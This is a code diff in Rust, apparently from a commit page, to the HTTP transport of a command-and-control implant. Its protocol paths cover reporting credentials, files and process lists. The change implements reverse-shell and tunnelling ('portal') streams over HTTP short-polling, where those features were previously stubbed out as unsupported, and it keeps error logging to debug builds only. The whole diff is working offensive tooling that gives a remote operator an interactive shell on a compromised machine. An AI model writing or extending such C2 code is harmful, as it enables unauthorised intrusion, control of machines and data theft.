@@ -89,7 +89,8 @@ static REPORT_CREDENTIAL_PATH: &str = "/c2.C2/ReportCredential";
8989static REPORT_FILE_PATH : & str = "/c2.C2/ReportFile" ;
9090static REPORT_PROCESS_LIST_PATH : & str = "/c2.C2/ReportProcessList" ;
9191static REPORT_OUTPUT_PATH : & str = "/c2.C2/ReportOutput" ;
92- static _REVERSE_SHELL_PATH: & str = "/c2.C2/ReverseShell" ;
92+ static REVERSE_SHELL_PATH : & str = "/c2.C2/ReverseShell" ;
93+ static CREATE_PORTAL_PATH : & str = "/c2.C2/CreatePortal" ;
9394
9495// Marshal: Encode and encrypt a message using the ChachaCodec
9596// Uses the helper functions exported from pb::xchacha
@@ -166,6 +167,160 @@ impl std::fmt::Debug for HTTP {
166167}
167168
168169impl HTTP {
170+ async fn handle_short_poll_streaming < Req , Resp > (
171+ & self ,
172+ mut rx : tokio:: sync:: mpsc:: Receiver < Req > ,
173+ tx : tokio:: sync:: mpsc:: Sender < Resp > ,
174+ path : & ' static str ,
175+ ) -> Result < ( ) >
176+ where
177+ Req : Message + Send + ' static ,
178+ Resp : Message + Default + Send + ' static ,
179+ {
180+ // Generate a unique session ID so the redirector can maintain a persistent
181+ // gRPC stream across multiple HTTP short-poll requests.
182+ let session_id = uuid:: Uuid :: new_v4 ( ) . to_string ( ) ;
183+
184+ loop {
185+ // Buffer to hold messages to send in this polling interval
186+ let mut messages = Vec :: new ( ) ;
187+
188+ // Check if there's any outgoing message (blocks until one is available or channel closed)
189+ match tokio:: time:: timeout ( std:: time:: Duration :: from_millis ( 50 ) , rx. recv ( ) ) . await {
190+ Ok ( Some ( msg) ) => {
191+ messages. push ( msg) ;
192+
193+ // Grab any other immediately available messages
194+ while let Ok ( msg) = rx. try_recv ( ) {
195+ messages. push ( msg) ;
196+ }
197+ }
198+ Ok ( None ) => {
199+ // Channel closed, terminate streaming
200+ break ;
201+ }
202+ Err ( _) => {
203+ // Timeout (50ms elapsed, no message). Continue loop to send empty payload/ping
204+ }
205+ }
206+
207+ let data_sent = !messages. is_empty ( ) ;
208+
209+ // Prepare the body with encoded gRPC frames
210+ let mut request_body = BytesMut :: new ( ) ;
211+ for msg in messages {
212+ let request_bytes = match marshal_with_codec :: < Req , Resp > ( msg) {
213+ Ok ( bytes) => bytes,
214+ Err ( err) => {
215+ #[ cfg( debug_assertions) ]
216+ log:: error!( "Failed to marshal streaming message: {}" , err) ;
217+ continue ;
218+ }
219+ } ;
220+ let frame_header = grpc_frame:: FrameHeader :: new ( request_bytes. len ( ) as u32 ) ;
221+ request_body. extend_from_slice ( & frame_header. encode ( ) ) ;
222+ request_body. extend_from_slice ( & request_bytes) ;
223+ }
224+
225+ // Build and send the HTTP request with session header for persistent stream routing
226+ let uri = self . build_uri ( path) ?;
227+ let req = self
228+ . request_builder ( uri)
229+ . header ( "X-Stream-Session-Id" , & session_id)
230+ . body ( hyper_legacy:: Body :: from ( request_body. freeze ( ) ) )
231+ . context ( "Failed to build HTTP request" ) ?;
232+
233+ let response = match tokio:: time:: timeout (
234+ std:: time:: Duration :: from_secs ( 30 ) ,
235+ self . send_and_validate ( req) ,
236+ )
237+ . await
238+ {
239+ Ok ( Ok ( resp) ) => resp,
240+ Ok ( Err ( err) ) => {
241+ #[ cfg( debug_assertions) ]
242+ log:: error!( "Failed to send short poll HTTP request: {}" , err) ;
243+ tokio:: time:: sleep ( std:: time:: Duration :: from_secs ( 1 ) ) . await ;
244+ continue ;
245+ }
246+ Err ( _) => {
247+ #[ cfg( debug_assertions) ]
248+ log:: error!( "Short poll HTTP request timed out after 30s" ) ;
249+ tokio:: time:: sleep ( std:: time:: Duration :: from_secs ( 1 ) ) . await ;
250+ continue ;
251+ }
252+ } ;
253+
254+ // Read entire response body then decode gRPC frames and send via async channel.
255+ // We cannot use stream_grpc_frames here because its handler closure is synchronous,
256+ // and tokio::sync::mpsc::Sender requires async send (blocking_send panics in async context).
257+ let body_bytes = Self :: read_response_body ( response) . await ;
258+ let mut data_received = false ;
259+ let result: Result < ( ) > = match body_bytes {
260+ Ok ( bytes) => {
261+ #[ cfg( debug_assertions) ]
262+ if !bytes. is_empty ( ) {
263+ log:: debug!( "Received short poll response body: {} bytes" , bytes. len( ) ) ;
264+ }
265+ let mut buffer = BytesMut :: from ( bytes. as_ref ( ) ) ;
266+ let mut send_err = None ;
267+ let mut frame_count = 0 ;
268+ while let Some ( ( _header, encrypted_message) ) =
269+ grpc_frame:: FrameHeader :: extract_frame ( & mut buffer)
270+ {
271+ frame_count += 1 ;
272+ data_received = true ;
273+ #[ cfg( debug_assertions) ]
274+ log:: debug!(
275+ "Extracted frame {} from short poll response ({} bytes)" ,
276+ frame_count,
277+ encrypted_message. len( )
278+ ) ;
279+
280+ match unmarshal_with_codec :: < Req , Resp > ( & encrypted_message) {
281+ Ok ( response_msg) => {
282+ #[ cfg( debug_assertions) ]
283+ log:: debug!( "Unmarshaled message {} from short poll response, sending to channel" , frame_count) ;
284+
285+ if let Err ( err) = tx. send ( response_msg) . await {
286+ send_err = Some ( anyhow:: anyhow!(
287+ "Failed to send response through channel: {}" ,
288+ err
289+ ) ) ;
290+ break ;
291+ }
292+ }
293+ Err ( err) => {
294+ send_err = Some ( err) ;
295+ break ;
296+ }
297+ }
298+ }
299+ match send_err {
300+ Some ( err) => Err ( err) ,
301+ None => Ok ( ( ) ) ,
302+ }
303+ }
304+ Err ( err) => Err ( err) ,
305+ } ;
306+
307+ if let Err ( err) = result {
308+ #[ cfg( debug_assertions) ]
309+ log:: error!( "Failed to process response frames: {}" , err) ;
310+ break ;
311+ }
312+
313+ // Adding a small delay to prevent tight loop spinning if rx channel isn't busy
314+ if data_sent || data_received {
315+ tokio:: task:: yield_now ( ) . await ;
316+ } else {
317+ tokio:: time:: sleep ( std:: time:: Duration :: from_millis ( 500 ) ) . await ;
318+ }
319+ }
320+
321+ Ok ( ( ) )
322+ }
323+
169324 /// Build URI from path
170325 fn build_uri ( & self , path : & str ) -> Result < hyper_legacy:: Uri > {
171326 let url = format ! ( "{}{}" , self . base_url, path) ;
@@ -178,6 +333,7 @@ impl HTTP {
178333 . method ( hyper_legacy:: Method :: POST )
179334 . uri ( uri)
180335 . header ( "Content-Type" , "application/grpc" )
336+ . header ( "Connection" , "close" )
181337 }
182338
183339 /// Send HTTP request and validate status code
@@ -537,22 +693,43 @@ impl Transport for HTTP {
537693
538694 async fn reverse_shell (
539695 & mut self ,
540- _rx : tokio:: sync:: mpsc:: Receiver < ReverseShellRequest > ,
541- _tx : tokio:: sync:: mpsc:: Sender < ReverseShellResponse > ,
696+ rx : tokio:: sync:: mpsc:: Receiver < ReverseShellRequest > ,
697+ tx : tokio:: sync:: mpsc:: Sender < ReverseShellResponse > ,
542698 ) -> Result < ( ) > {
543- Err ( anyhow:: anyhow!(
544- "http/1.1 transport does not support reverse shell"
545- ) )
699+ // Spawn polling loop in background and return immediately.
700+ // The caller (pty.rs) expects reverse_shell() to return so the input
701+ // handling loop can run concurrently, matching the gRPC transport behavior.
702+ let transport = self . clone ( ) ;
703+ tokio:: spawn ( async move {
704+ if let Err ( _err) = transport
705+ . handle_short_poll_streaming ( rx, tx, REVERSE_SHELL_PATH )
706+ . await
707+ {
708+ #[ cfg( debug_assertions) ]
709+ log:: error!( "reverse_shell short poll streaming ended: {}" , _err) ;
710+ }
711+ } ) ;
712+ Ok ( ( ) )
546713 }
547714
548715 async fn create_portal (
549716 & mut self ,
550- _rx : tokio:: sync:: mpsc:: Receiver < CreatePortalRequest > ,
551- _tx : tokio:: sync:: mpsc:: Sender < CreatePortalResponse > ,
717+ rx : tokio:: sync:: mpsc:: Receiver < CreatePortalRequest > ,
718+ tx : tokio:: sync:: mpsc:: Sender < CreatePortalResponse > ,
552719 ) -> Result < ( ) > {
553- Err ( anyhow:: anyhow!(
554- "http/1.1 transport does not support portal"
555- ) )
720+ // Spawn polling loop in background and return immediately,
721+ // matching the gRPC transport behavior.
722+ let transport = self . clone ( ) ;
723+ tokio:: spawn ( async move {
724+ if let Err ( _err) = transport
725+ . handle_short_poll_streaming ( rx, tx, CREATE_PORTAL_PATH )
726+ . await
727+ {
728+ #[ cfg( debug_assertions) ]
729+ log:: error!( "create_portal short poll streaming ended: {}" , _err) ;
730+ }
731+ } ) ;
732+ Ok ( ( ) )
556733 }
557734
558735 fn get_type ( & mut self ) -> pb:: c2:: transport:: Type {
0 commit comments